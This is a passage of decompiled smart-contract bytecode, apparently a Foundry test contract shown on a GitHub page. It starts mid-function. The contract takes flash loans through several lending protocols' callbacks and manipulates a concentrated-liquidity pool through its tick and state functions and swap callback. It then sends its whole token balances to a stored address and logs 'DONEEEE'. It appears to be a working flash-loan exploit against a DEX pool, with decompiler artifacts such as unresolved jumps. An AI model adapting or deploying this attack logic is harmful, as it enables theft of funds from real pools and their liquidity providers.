require(msg.data.length - 4 >= 256);
0x58ce(varg0);
0x58ce(varg1);
v0 = v1 = msg.sender == _call;
if (msg.sender != _call) {
v0 = v2 = msg.sender == owner_a_0_19;
}
if (!v0) {
v0 = v3 = this == msg.sender;
}
require(v0, Error('Not authorized'));
emit log_string('Setting');
emit log_address(varg0);
emit log_string('Setting');
stor_1_0_19 = varg0;
require(bool((address(varg0)).code.size));
v4, /* address */ v5 = varg0.token0().gas(msg.gas);
require(bool(v4), 0, RETURNDATASIZE()); // checks call status, propagates error data on error
require(MEM[64] + RETURNDATASIZE() - MEM[64] >= 32);
0x58ce(v5);
_swapCallback = v5;
require(bool(stor_1_0_19.code.size));
v6, /* address */ v7 = stor_1_0_19.token1().gas(msg.gas);
require(bool(v6), 0, RETURNDATASIZE()); // checks call status, propagates error data on error
require(MEM[64] + RETURNDATASIZE() - MEM[64] >= 32);
0x58ce(v7);
stor_3_0_19 = v7;
_onFlashLoan = varg1;
stor_5_21_21 = varg3;
stor_5_20_20 = varg2;
_uniswapV3FlashCallback = varg4;
v8 = v9 = 2;
v10 = v11 = varg5;
if (v11) {
if (v9) {
if (v9 == 1) {
v12 = v13 = 1;
} else if (v9 == 2) {
require(v11 <= uint8.max, Panic(17)); // arithmetic overflow or underflow
v12 = v14 = 1 << v11;
} else if (!((v9 < 11) & (v11 < 78) | (v9 < 307) & (v11 < 32))) {
v15 = v16 = 1;
while (v10 > v16) {
require(v8 <= ~0 / v8, Panic(17)); // arithmetic overflow or underflow
if (v10 & v16) {
v15 *= v8;
}
v10 = v10 >> v16;
v8 *= v8;
}
require(v15 <= ~0 / v8, Panic(17)); // arithmetic overflow or underflow
v12 = v17 = v8 * v15;
} else {
v12 = v9 ** v11;
}
} else {
v12 = v18 = 0;
}
} else {
v12 = v19 = 1;
}
stor_7_0_19 = v12;
stor_8 = varg6;
stor_9_0_0 = varg7;
emit log_string('AAAve');
if (stor_9_0_0) {
if (1 != stor_9_0_0) {
if (2 != stor_9_0_0) {
if (3 == stor_9_0_0) {
if (!stor_5_21_21) {
v20 = v21 = _swapCallback;
} else {
v20 = v22 = stor_3_0_19;
}
MEM[MEM[64] + 68] = _uniswapV3FlashCallback;
MEM[MEM[64] + 100] = 128;
v23 = new uint256[](0);
require(bool(_onFlashLoan.code.size));
v24, /* bool */ v25 = _onFlashLoan.flashLoan(address(this), address(v20), _uniswapV3FlashCallback, v23).gas(msg.gas);
require(bool(v24), 0, RETURNDATASIZE()); // checks call status, propagates error data on error
require(MEM[64] + RETURNDATASIZE() - MEM[64] >= 32);
require(v25 == bool(v25));
}
// Unknown jump to Block 0xfaa. Refer to 3-address code (TAC);
} else {
emit log_string('AAAve', v26, v26, v26, 'AAAve');
v27 = _onFlashLoan;
if (!stor_5_21_21) {
v28 = v29 = _swapCallback;
} else {
v28 = v30 = stor_3_0_19;
}
MEM[MEM[64] + 68] = _uniswapV3FlashCallback;
MEM[MEM[64] + 100] = 160;
v31 = new uint256[](0);
v32 = new uint256[](0);
v33 = v31.data;
}
} else {
v34 = new address[](1);
CALLDATACOPY(v34.data, msg.data.length, 32);
v35 = new uint256[](1);
CALLDATACOPY(v35.data, msg.data.length, 32);
if (!stor_5_21_21) {
v36 = v37 = _swapCallback;
} else {
v36 = v38 = stor_3_0_19;
}
require(0 < v34.length, Panic(50)); // access an out-of-bounds or negative index of bytesN array or slice
v39 = v34.data;
v34[0] = address(v36);
require(0 < v35.length, Panic(50)); // access an out-of-bounds or negative index of bytesN array or slice
v40 = v35.data;
v35[0] = _uniswapV3FlashCallback;
MEM[MEM[64]] = 0x5c38449e00000000000000000000000000000000000000000000000000000000;
v41 = new address[](v34.length);
v42 = v43 = 0;
v44 = v45 = v34.data;
v46 = v47 = v41.data;
while (v42 < v34.length) {
MEM[v46] = address(MEM[v44]);
v44 += 32;
v46 += 32;
v42 += 1;
}
v48 = v49 = v46.data;
v50 = v51 = v35.data;
v52 = v53 = 0;
v46 = new uint256[](v35.length);
while (v52 < v35.length) {
MEM[v48] = MEM[v50];
v48 += 32;
v50 += 32;
v52 += 1;
}
v48 = new uint256[](0);
require(bool(_onFlashLoan.code.size));
v54 = _onFlashLoan.flashLoan(address(this), v41, v46, v48, v26, address(v36)).gas(msg.gas);
require(bool(v54), 0, RETURNDATASIZE()); // checks call status, propagates error data on error
}
} else if (stor_5_20_20) {
emit log_address(_onFlashLoan);
require(bool(stor_3_0_19.code.size));
v55, /* uint256 */ v56 = stor_3_0_19.balanceOf(_onFlashLoan).gas(msg.gas);
require(bool(v55), 0, RETURNDATASIZE()); // checks call status, propagates error data on error
require(MEM[64] + RETURNDATASIZE() - MEM[64] >= 32);
emit log_named_uint(0x62616c, v56);
MEM[MEM[64] + 100] = 128;
v57 = new uint256[](0);
v27 = v58 = _onFlashLoan;
v33 = v59 = v57.data;
} else {
MEM[MEM[64] + 68] = 0;
MEM[MEM[64] + 100] = 128;
v60 = new uint256[](0);
v27 = v61 = _onFlashLoan;
v33 = v62 = v60.data;
}
require(bool(v27.code.size));
v63 = v27.flash(0x490e6cbc00000000000000000000000000000000000000000000000000000000, bytes4(0x42b0b77c00000000000000000000000000000000000000000000000000000000), this, this, address(this), _uniswapV3FlashCallback, 0, address(v28), 0, _uniswapV3FlashCallback, _uniswapV3FlashCallback, v60, v57, v31, v32).gas(msg.gas);
require(bool(v63), 0, RETURNDATASIZE()); // checks call status, propagates error data on error
require(bool(_swapCallback.code.size));
v64, /* uint256 */ v65 = _swapCallback.balanceOf(this).gas(msg.gas);
require(bool(v64), 0, RETURNDATASIZE()); // checks call status, propagates error data on error
require(MEM[64] + RETURNDATASIZE() - MEM[64] >= 32);
require(bool(stor_3_0_19.code.size));
v66, /* uint256 */ v67 = stor_3_0_19.balanceOf(this).gas(msg.gas);
require(bool(v66), 0, RETURNDATASIZE()); // checks call status, propagates error data on error
require(MEM[64] + RETURNDATASIZE() - MEM[64] >= 32);
require(bool(_swapCallback.code.size));
v68, /* bool */ v69 = _swapCallback.transfer(stor_0_2_21, v65).gas(msg.gas);
require(bool(v68), 0, RETURNDATASIZE()); // checks call status, propagates error data on error
MEM[64] = MEM[64] + (RETURNDATASIZE() + 31 & ~0x1f);
require(MEM[64] + RETURNDATASIZE() - MEM[64] >= 32);
require(v69 == bool(v69));
require(bool(stor_3_0_19.code.size));
v70, /* bool */ v71 = stor_3_0_19.transfer(stor_0_2_21, v67).gas(msg.gas);
require(bool(v70), 0, RETURNDATASIZE()); // checks call status, propagates error data on error
MEM[64] = MEM[64] + (RETURNDATASIZE() + 31 & ~0x1f);
require(MEM[64] + RETURNDATASIZE() - MEM[64] >= 32);
require(v71 == bool(v71));
0x38c();
emit log_string('DONEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEE!');
}
function receive() public payable {
}
function failed() public nonPayable {
return _failed;
}
function uniswapV3FlashCallback(uint256 fee0, uint256 fee1, bytes data) public nonPayable {
require(msg.data.length - 4 >= 96);
require(data <= uint64.max);
require(4 + data + 31 < msg.data.length);
require(data.length <= uint64.max);
v0 = data.data;
require(4 + data + data.length + 32 <= msg.data.length);
emit log_string('Inside flash callback');
0x161e(this);
v1 = v2 = !stor_5_20_20;
if (!stor_5_20_20) {
v1 = !stor_5_21_21;
}
if (v1) {
v3 = _SafeAdd(fee0, _uniswapV3FlashCallback);
require(bool(_swapCallback.code.size));
v4, /* bool */ v5 = _swapCallback.transfer(_onFlashLoan, v3).gas(msg.gas);
require(bool(v4), 0, RETURNDATASIZE()); // checks call status, propagates error data on error
MEM[64] = MEM[64] + (RETURNDATASIZE() + 31 & ~0x1f);
require(MEM[64] + RETURNDATASIZE() - MEM[64] >= 32);
require(v5 == bool(v5));
}
v6 = v7 = !stor_5_20_20;
if (!stor_5_20_20) {
v6 = 1 == stor_5_21_21;
}
if (v6) {
v8 = _SafeAdd(fee0, _uniswapV3FlashCallback);
require(bool(stor_3_0_19.code.size));
v9, /* bool */ v10 = stor_3_0_19.transfer(_onFlashLoan, v8).gas(msg.gas);
require(bool(v9), 0, RETURNDATASIZE()); // checks call status, propagates error data on error
MEM[64] = MEM[64] + (RETURNDATASIZE() + 31 & ~0x1f);
require(MEM[64] + RETURNDATASIZE() - MEM[64] >= 32);
require(v10 == bool(v10));
}
v11 = v12 = 1 == stor_5_20_20;
if (v12) {
v11 = !stor_5_21_21;
}
if (v11) {
v13 = _SafeAdd(fee1, _uniswapV3FlashCallback);
require(bool(_swapCallback.code.size));
v14, /* bool */ v15 = _swapCallback.transfer(_onFlashLoan, v13).gas(msg.gas);
require(bool(v14), 0, RETURNDATASIZE()); // checks call status, propagates error data on error
MEM[64] = MEM[64] + (RETURNDATASIZE() + 31 & ~0x1f);
require(MEM[64] + RETURNDATASIZE() - MEM[64] >= 32);
require(v15 == bool(v15));
}
v16 = v17 = 1 == stor_5_20_20;
if (v17) {
v16 = 1 == stor_5_21_21;
}
if (v16) {
v18 = _SafeAdd(fee1, _uniswapV3FlashCallback);
require(bool(stor_3_0_19.code.size));
v19, /* bool */ v20 = stor_3_0_19.transfer(_onFlashLoan, v18).gas(msg.gas);
require(bool(v19), 0, RETURNDATASIZE()); // checks call status, propagates error data on error
MEM[64] = MEM[64] + (RETURNDATASIZE() + 31 & ~0x1f);
require(MEM[64] + RETURNDATASIZE() - MEM[64] >= 32);
require(v20 == bool(v20));
}
emit log_string('Loan Paid off:');
0x38c();
}
function receiveFlashLoan(address[] tokens, uint256[] amounts, uint256[] feeAmounts, bytes userData) public nonPayable {
require(msg.data.length - 4 >= 128);
require(tokens <= uint64.max);
require(4 + tokens + 31 < msg.data.length);
v0 = 0x54ac(tokens.length);
require(!((MEM[64] + (~0x1f & v0 + 31) < MEM[64]) | (MEM[64] + (~0x1f & v0 + 31) > uint64.max)), Panic(65)); // failed memory allocation (too much memory)
v1 = v2 = MEM[64] + 32;
v3 = v4 = tokens.data;
require(4 + tokens + (tokens.length << 5) + 32 <= msg.data.length);
v5 = v6 = 0;
while (v5 < tokens.length) {
0x58ce(msg.data[v3]);
MEM[v1] = msg.data[v3];
v5 += 1;
v1 += 32;
v3 += 32;
}
require(amounts <= uint64.max);
require(4 + amounts + 31 < msg.data.length);
v7 = 0x54ac(amounts.length);
require(!((MEM[64] + (~0x1f & v7 + 31) < MEM[64]) | (MEM[64] + (~0x1f & v7 + 31) > uint64.max)), Panic(65)); // failed memory allocation (too much memory)
MEM[64] = MEM[64] + (~0x1f & v7 + 31);
MEM[MEM[64]] = amounts.length;
v8 = v9 = MEM[64] + 32;
v10 = v11 = amounts.data;
require(4 + amounts + (amounts.length << 5) + 32 <= msg.data.length);
v12 = v13 = 0;
while (v12 < amounts.length) {
MEM[v8] = msg.data[v10];
v8 += 32;
v10 += 32;
v12 += 1;
}
require(feeAmounts <= uint64.max);
require(4 + feeAmounts + 31 < msg.data.length);
v14 = 0x54ac(feeAmounts.length);
require(!((MEM[64] + (~0x1f & v14 + 31) < MEM[64]) | (MEM[64] + (~0x1f & v14 + 31) > uint64.max)), Panic(65)); // failed memory allocation (too much memory)
v15 = v16 = MEM[64] + 32;
v17 = v18 = feeAmounts.data;
require(4 + feeAmounts + (feeAmounts.length << 5) + 32 <= msg.data.length);
v19 = v20 = 0;
while (v19 < feeAmounts.length) {
MEM[v15] = msg.data[v17];
v15 += 32;
v17 += 32;
v19 += 1;
}
require(userData <= uint64.max);
require(4 + userData + 31 < msg.data.length);
require(userData.length <= uint64.max, Panic(65)); // failed memory allocation (too much memory)
v21 = new bytes[](userData.length);
require(!((v21 + (~0x1f & 32 + (~0x1f & userData.length + 31) + 31) < v21) | (v21 + (~0x1f & 32 + (~0x1f & userData.length + 31) + 31) > uint64.max)), Panic(65)); // failed memory allocation (too much memory)
require(4 + userData + userData.length + 32 <= msg.data.length);
CALLDATACOPY(v21.data, userData.data, userData.length);
v21[userData.length] = 0;
emit log_string('Inside flash callback');
0x161e(this);
require(0 < tokens.length, Panic(50)); // access an out-of-bounds or negative index of bytesN array or slice
require(0 < feeAmounts.length, Panic(50)); // access an out-of-bounds or negative index of bytesN array or slice
v22 = _SafeAdd(MEM[32 + MEM[64]], _uniswapV3FlashCallback);
MEM[MEM[?]] = 0xa9059cbb00000000000000000000000000000000000000000000000000000000;
MEM[4 + MEM[?]] = _onFlashLoan;
MEM[4 + MEM[?] + 32] = v22;
require(bool((address(MEM[32 + MEM[64]])).code.size));
v23, /* bool */ v24 = address(MEM[32 + MEM[64]]).call(MEM[MEM[64]:MEM[64] + 68], MEM[MEM[64]:MEM[64] + 32]).gas(msg.gas);
require(bool(v23), 0, RETURNDATASIZE()); // checks call status, propagates error data on error
MEM[64] = MEM[64] + (RETURNDATASIZE() + 31 & ~0x1f);
require(MEM[64] + RETURNDATASIZE() - MEM[64] >= 32);
require(v24 == bool(v24));
emit log_string('Loan Paid off:');
0x38c();
}
function swapCallback(int256 deltaQty0, int256 deltaQty1, bytes data) public nonPayable {
require(msg.data.length - 4 >= 96);
require(data <= uint64.max);
require(4 + data + 31 < msg.data.length);
require(data.length <= uint64.max);
v0 = data.data;
require(4 + data + data.length + 32 <= msg.data.length);
emit log_string('The swapper wants:');
emit log_named_int('amt1Del', deltaQty0);
emit log_named_int('amt1Del', deltaQty1);
if (deltaQty0 > 0) {
require(bool(_swapCallback.code.size));
v1, /* bool */ v2 = _swapCallback.transfer(stor_1_0_19, deltaQty0).gas(msg.gas);
require(bool(v1), 0, RETURNDATASIZE()); // checks call status, propagates error data on error
MEM[64] = MEM[64] + (RETURNDATASIZE() + 31 & ~0x1f);
require(MEM[64] + RETURNDATASIZE() - MEM[64] >= 32);
require(v2 == bool(v2));
}
if (deltaQty1 > 0) {
require(bool(stor_3_0_19.code.size));
v3, /* bool */ v4 = stor_3_0_19.transfer(stor_1_0_19, deltaQty1).gas(msg.gas);
require(bool(v3), 0, RETURNDATASIZE()); // checks call status, propagates error data on error
MEM[64] = MEM[64] + (RETURNDATASIZE() + 31 & ~0x1f);
require(MEM[64] + RETURNDATASIZE() - MEM[64] >= 32);
require(v4 == bool(v4));
}
}
function IS_TEST() public nonPayable {
return _iS_TEST;
}
function 0x38c() private {
emit log_string('The state:');
require(bool(stor_1_0_19.code.size));
v0, /* address */ v1, /* int24 */ v2, /* int24 */ v3, /* bool */ v4 = stor_1_0_19.getPoolState().gas(msg.gas);
require(bool(v0), 0, RETURNDATASIZE()); // checks call status, propagates error data on error
require(MEM[64] + RETURNDATASIZE() - MEM[64] >= 128);
0x58ce(v1);
require(v2 == int24(v2));
require(v3 == int24(v3));
require(v4 == bool(v4));
emit log_named_uint(0x707269636520, address(v1));
require(bool(stor_1_0_19.code.size));
v5, /* uint128 */ v6, /* uint128 */ v7, /* uint128 */ v8 = stor_1_0_19.getLiquidityState().gas(msg.gas);
require(bool(v5), 0, RETURNDATASIZE()); // checks call status, propagates error data on error
require(MEM[64] + RETURNDATASIZE() - MEM[64] >= 96);
require(v6 == uint128(v6));
require(v7 == uint128(v7));
require(v8 == uint128(v8));
emit log_named_uint('reinv', uint128(v6));
emit log_named_uint('reinvestL', uint128(v7));
emit log_string('My token');
emit log_string('My token balances:');
require(bool(_swapCallback.code.size));
v9, /* uint256 */ v10 = _swapCallback.balanceOf(stor_1_0_19).gas(msg.gas);
require(bool(v9), 0, RETURNDATASIZE()); // checks call status, propagates error data on error
require(MEM[64] + RETURNDATASIZE() - MEM[64] >= 32);
emit log_named_uint('Pool token0', v10);
require(bool(_swapCallback.code.size));
v11, /* uint256 */ v12 = _swapCallback.balanceOf(stor_0_2_21).gas(msg.gas);
require(bool(v11), 0, RETURNDATASIZE()); // checks call status, propagates error data on error
require(MEM[64] + RETURNDATASIZE() - MEM[64] >= 32);
emit log_named_uint(0x2020202020746f6b656e30, v12);
require(bool(stor_3_0_19.code.size));
v13, /* uint256 */ v14 = stor_3_0_19.balanceOf(stor_1_0_19).gas(msg.gas);
require(bool(v13), 0, RETURNDATASIZE()); // checks call status, propagates error data on error
require(MEM[64] + RETURNDATASIZE() - MEM[64] >= 32);
emit log_named_uint('Pool token1', v14);
require(bool(stor_3_0_19.code.size));
v15, /* uint256 */ v16 = stor_3_0_19.balanceOf(stor_0_2_21).gas(msg.gas);
require(bool(v15), 0, RETURNDATASIZE()); // checks call status, propagates error data on error
require(MEM[64] + RETURNDATASIZE() - MEM[64] >= 32);
emit log_named_uint(0x2020202020746f6b656e31, v16);
emit log_string('--------');
return ;
}
function 0x4070(uint256 varg0, uint256 varg1, uint256 varg2, uint256 varg3) private {
v0 = 0x47ac(varg2, varg3, 0x1000000000000000000000000);
v1 = _SafeSub(varg0, varg2);
v2 = 0x47ac(varg0, v1, v0);
v3 = _SafeMul(120, v2);
v4 = _SafeDiv(v3, 100);
v5 = _SafeSub(varg2, varg1);
v6 = 0x47ac(0x1000000000000000000000000, v5, varg3);
v7 = _SafeMul(120, v6);
v8 = _SafeDiv(v7, 100);
return v8, v4;
}
function 0x40f3(int24 varg0) private {
require(bool(stor_1_0_19.code.size));
v0, /* address */ v1, /* int24 */ v2, /* int24 */ v3, /* bool */ v4 = stor_1_0_19.getPoolState().gas(msg.gas);
require(bool(v0), 0, RETURNDATASIZE()); // checks call status, propagates error data on error
require(MEM[64] + RETURNDATASIZE() - MEM[64] >= 128);
0x58ce(v1);
require(v2 == int24(v2));
require(v3 == int24(v3));
require(v4 == bool(v4));
while (int24(v3) > varg0) {
require(bool(stor_1_0_19.code.size));
v5, /* int24 */ v3, /* int24 */ v6 = stor_1_0_19.initializedTicks(int24(v3)).gas(msg.gas);
require(bool(v5), 0, RETURNDATASIZE()); // checks call status, propagates error data on error
require(MEM[64] + RETURNDATASIZE() - MEM[64] >= 64);
require(v3 == int24(v3));
require(v6 == int24(v6));
}
return v3;
}
function 0x4429(int24 varg0) private {
if (varg0 < 0) {
v0 = v1 = 0 - varg0;
} else {
v0 = v2 = varg0;
}
require(v0 <= 0xd89e8, Error(84));
if (v0 & 0x1) {
v3 = v4 = 0xfffcb933bd6fad37aa2d162d1a594001;
} else {
v3 = v5 = 0x100000000000000000000000000000000;
}
v6 = v7 = uint136(v3);
if (v0 & 0x2) {
v6 = v8 = 0xfff97272373d413259a46990580e213a * v7 >> 128;
}
if (v0 & 0x4) {
v6 = v9 = 0xfff2e50f5f656932ef12357cf3c7fdcc * v6 >> 128;
}
if (v0 & 0x8) {
v6 = v10 = 0xffe5caca7e10e4e61c3624eaa0941cd0 * v6 >> 128;
}
if (v0 & 0x10) {
v6 = v11 = 0xffcb9843d60f6159c9db58835c926644 * v6 >> 128;
}
if (v0 & 0x20) {
v6 = v12 = 0xff973b41fa98c081472e6896dfb254c0 * v6 >> 128;
}
if (v0 & 0x40) {
v6 = v13 = 0xff2ea16466c96a3843ec78b326b52861 * v6 >> 128;
}
if (v0 & 0x80) {
v6 = v14 = 0xfe5dee046a99a2a811c461f1969c3053 * v6 >> 128;
}
if (v0 & 0x100) {
v6 = v15 = 0xfcbe86c7900a88aedcffc83b479aa3a4 * v6 >> 128;
}
if (v0 & 0x200) {
v6 = v16 = 0xf987a7253ac413176f2b074cf7815e54 * v6 >> 128;
}
if (v0 & 0x400) {
v6 = v17 = 0xf3392b0822b70005940c7a398e4b70f3 * v6 >> 128;
}
if (v0 & 0x800) {
v6 = v18 = 0xe7159475a2c29b7443b29c7fa6e889d9 * v6 >> 128;
}
if (v0 & 0x1000) {
v6 = v19 = 0xd097f3bdfd2022b8845ad8f792aa5825 * v6 >> 128;
}
if (v0 & 0x2000) {
v6 = v20 = 0xa9f746462d870fdf8a65dc1f90e061e5 * v6 >> 128;
}
if (v0 & 0x4000) {
v6 = v21 = 0x70d869a156d2a1b890bb3df62baf32f7 * v6 >> 128;
}
if (v0 & 0x8000) {
v6 = v22 = 0x31be135f97d08fd981231505542fcfa6 * v6 >> 128;
}
if (v0 & 0x10000) {
v6 = v23 = 0x9aa508b5b7a84e1c677de54f3e99bc9 * v6 >> 128;
}
if (v0 & 0x20000) {
v6 = v24 = 0x5d6af8dedb81196699c329225ee604 * v6 >> 128;
}
if (v0 & 0x40000) {
v6 = v25 = 0x2216e584f5fa1ea926041bedfe98 * v6 >> 128;
}
if (v0 & 0x80000) {
v6 = v26 = 0x48a170391f7dc42444e8fa2 * v6 >> 128;
}
if (varg0 > 0) {
require(v6, Panic(18)); // division by zero
v6 = v27 = ~0 / v6;
}
if (!(v6 % 0x100000000)) {
v28 = v29 = 0;
} else {
v28 = v30 = 1;
}
return (v6 >> 32) + uint8(v28);
}
function 0x47ac(uint256 varg0, uint256 varg1, uint256 varg2) private {
v0 = varg2 * varg1;
v1 = varg2 * varg1 % ~0 - v0 - (varg2 * varg1 % ~0 < v0);
if (0 != v1) {
require(varg0 > v1, Error('denom <= prod1'));
v2 = varg2 * varg1 % varg0;
v3 = _SafeAdd(1, ~varg0);
v4 = varg0 / (varg0 & v3);
v5 = (2 - v4 * ((2 - v4 * ((2 - v4 * (0x2 ^ v4 * 3)) * (0x2 ^ v4 * 3))) * ((2 - v4 * (0x2 ^ v4 * 3)) * (0x2 ^ v4 * 3)))) * ((2 - v4 * ((2 - v4 * (0x2 ^ v4 * 3)) * (0x2 ^ v4 * 3))) * ((2 - v4 * (0x2 ^ v4 * 3)) * (0x2 ^ v4 * 3)));
return ((v0 - v2) / (varg0 & v3) | (1 + (0 - (varg0 & v3)) / (varg0 & v3)) * (v1 - (v2 > v0))) * ((2 - v4 * ((2 - v4 * ((2 - v4 * v5) * v5)) * ((2 - v4 * v5) * v5))) * ((2 - v4 * ((2 - v4 * v5) * v5)) * ((2 - v4 * v5) * v5)));
} else {
require(varg0 > 0, Error('0 denom'));
return v0 / varg0;
}
}
function 0x54ac(uint256 varg0) private {
require(varg0 <= uint64.max, Panic(65)); // failed memory allocation (too much memory)
return 32 + (varg0 << 5);
}
function 0x54d0(int24 varg0, int24 varg1) private {
require(!((varg0 >= 0) & (varg1 > int24.max - varg0)), Panic(17)); // arithmetic overflow or underflow
require(!((varg0 < 0) & (varg1 < ~int24.max - varg0)), Panic(17)); // arithmetic overflow or underflow
return varg1 + varg0;
}
function 0x5517(address varg0, address varg1) private {
require(varg0 <= uint160.max - varg1, Panic(17)); // arithmetic overflow or underflow
return varg1 + varg0;
}
function _SafeAdd(uint256 varg0, uint256 varg1) private {
require(varg0 <= ~varg1, Panic(17)); // arithmetic overflow or underflow
return varg0 + varg1;
}
function 0x555a(int24 varg0, int24 varg1) private {
require(varg1, Panic(18)); // division by zero
require(!((varg1 == ~0) & (varg0 == ~int24.max)), Panic(17)); // arithmetic overflow or underflow
return varg0 / varg1;
}
function _SafeDiv(uint256 varg0, uint256 varg1) private {
require(varg1, Panic(18)); // division by zero
return varg0 / varg1;
}
function 0x5696(int24 varg0, int24 varg1) private {
v0 = varg0;
v1 = varg1;
require(!((v0 > 0) & (v1 > 0) & (v0 > int24.max / v1)), Panic(17)); // arithmetic overflow or underflow
require(!((v1 < ~int24.max / v0) & ((v1 < 0) & (v0 > 0))), Panic(17)); // arithmetic overflow or underflow
require(!((v0 < 0) & (v1 > 0) & (v0 < ~int24.max / v1)), Panic(17)); // arithmetic overflow or underflow
require(!((v0 < 0) & (v1 < 0) & (v0 < int24.max / v1)), Panic(17)); // arithmetic overflow or underflow
return v1 * v0;
}
function _SafeMul(uint256 varg0, uint256 varg1) private {
require(!(bool(varg0) & (varg1 > ~0 / varg0)), Panic(17)); // arithmetic overflow or underflow
return varg0 * varg1;
}
function 0x5742(int24 varg0, int24 varg1) private {
require(!((varg1 >= 0) & (varg0 < ~int24.max + varg1)), Panic(17)); // arithmetic overflow or underflow
require(!((varg1 < 0) & (varg0 > int24.max + varg1)), Panic(17)); // arithmetic overflow or underflow
return varg0 - varg1;
}
function 0x57c9(address varg0, address varg1) private {
require(varg0 >= varg1, Panic(17)); // arithmetic overflow or underflow
return varg0 - varg1;
}
function _SafeSub(uint256 varg0, uint256 varg1) private {
require(varg0 >= varg1, Panic(17)); // arithmetic overflow or underflow
return varg0 - varg1;
}
function 0x5823(int24 varg0, int24 varg1) private {
require(varg1, Panic(18)); // division by zero
return varg0 % varg1;
}
function _SafeMod(uint256 varg0, uint256 varg1) private {
require(varg1, Panic(18)); // division by zero
return varg0 % varg1;
}
function 0x5859(uint256 varg0) private {
require(varg0 != int256.min, Panic(17)); // arithmetic overflow or underflow
return 0 - varg0;
}
function 0x58ce(address varg0) private {
return ;
}
function executeOperation(address asset, uint256 amount, uint256 premium, address initiator, bytes params) public nonPayable {
require(msg.data.length - 4 >= 160);
0x58ce(asset);
0x58ce(initiator);
require(params <= uint64.max);
require(4 + params + 31 < msg.data.length);
require(params.length <= uint64.max);
v0 = params.data;
require(4 + params + params.length + 32 <= msg.data.length);
emit log_string('Inside flash callback');
0x161e(this);
emit log_named_uint(0x666565000000, amount);
emit log_named_uint(0x616d6f, premium);
v1 = _SafeAdd(premium, amount);
require(bool((address(asset)).code.size));
v2, /* bool */ v3 = asset.approve(_onFlashLoan, v1).gas(msg.gas);
require(bool(v2), 0, RETURNDATASIZE()); // checks call status, propagates error data on error
MEM[64] = MEM[64] + (RETURNDATASIZE() + 31 & ~0x1f);
require(MEM[64] + RETURNDATASIZE() - MEM[64] >= 32);
require(v3 == bool(v3));
emit log_string('Loan Paid off:');
0x38c();
return True;
}
function 0x20e2f582() public nonPayable {
0x38c();
}
function onFlashLoan(address initiator, address token, uint256 amount, uint256 fee, bytes data) public nonPayable {
require(msg.data.length - 4 >= 160);
0x58ce(initiator);
0x58ce(token);
require(data <= uint64.max);
require(4 + data + 31 < msg.data.length);
require(data.length <= uint64.max);
v0 = data.data;
require(4 + data + data.length + 32 <= msg.data.length);
emit log_string('Inside flash callback');
0x161e(this);
v1 = _SafeAdd(fee, amount);
require(bool((address(token)).code.size));
v2, /* bool */ v3 = token.transfer(_onFlashLoan, v1).gas(msg.gas);
require(bool(v2), 0, RETURNDATASIZE()); // checks call status, propagates error data on error
MEM[64] = MEM[64] + (RETURNDATASIZE() + 31 & ~0x1f);
require(MEM[64] + RETURNDATASIZE() - MEM[64] >= 32);
require(v3 == bool(v3));
emit log_string('Loan Paid off:');
0x38c();
return 0x439148f0bbc682ca079e46d6e2c2f0c1e3b820f1a291b069d8882abf8cf18dd9;
}
// Note: The function selector is not present in the original solidity code.
// However, we display it for the sake of completeness.
function function_selector( function_selector) public payable {
MEM[64] = 128;
if (msg.data.length < 4) {
require(!msg.data.length);
receive();
} else if (0x7b408b03 > function_selector >> 224) {
if (0x1b11d0ff == function_selector >> 224) {
executeOperation(address,uint256,uint256,address,bytes);
} else if (0x20e2f582 == function_selector >> 224) {
0x20e2f582();
} else if (0x23e30c8b == function_selector >> 224) {
onFlashLoan(address,address,uint256,uint256,bytes);
} else if (0x38f39e5c == function_selector >> 224) {
0x38f39e5c();
} else {
require(0x6dbf2fa0 == function_selector >> 224);
call(address,uint256,bytes);
}
} else if (0x7b408b03 == function_selector >> 224) {
0x7b408b03();
} else if (0xba414fa6 == function_selector >> 224) {
failed();
} else if (0xe9cbafb0 == function_selector >> 224) {
uniswapV3FlashCallback(uint256,uint256,bytes);
} else if (0xf04f2707 == function_selector >> 224) {
receiveFlashLoan(address[],uint256[],uint256[],bytes);
} else if (0xfa483e72 == function_selector >> 224) {
swapCallback(int256,int256,bytes);
} else {
require(0xfa7626d4 == function_selector >> 224);
IS_TEST();
}
}
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment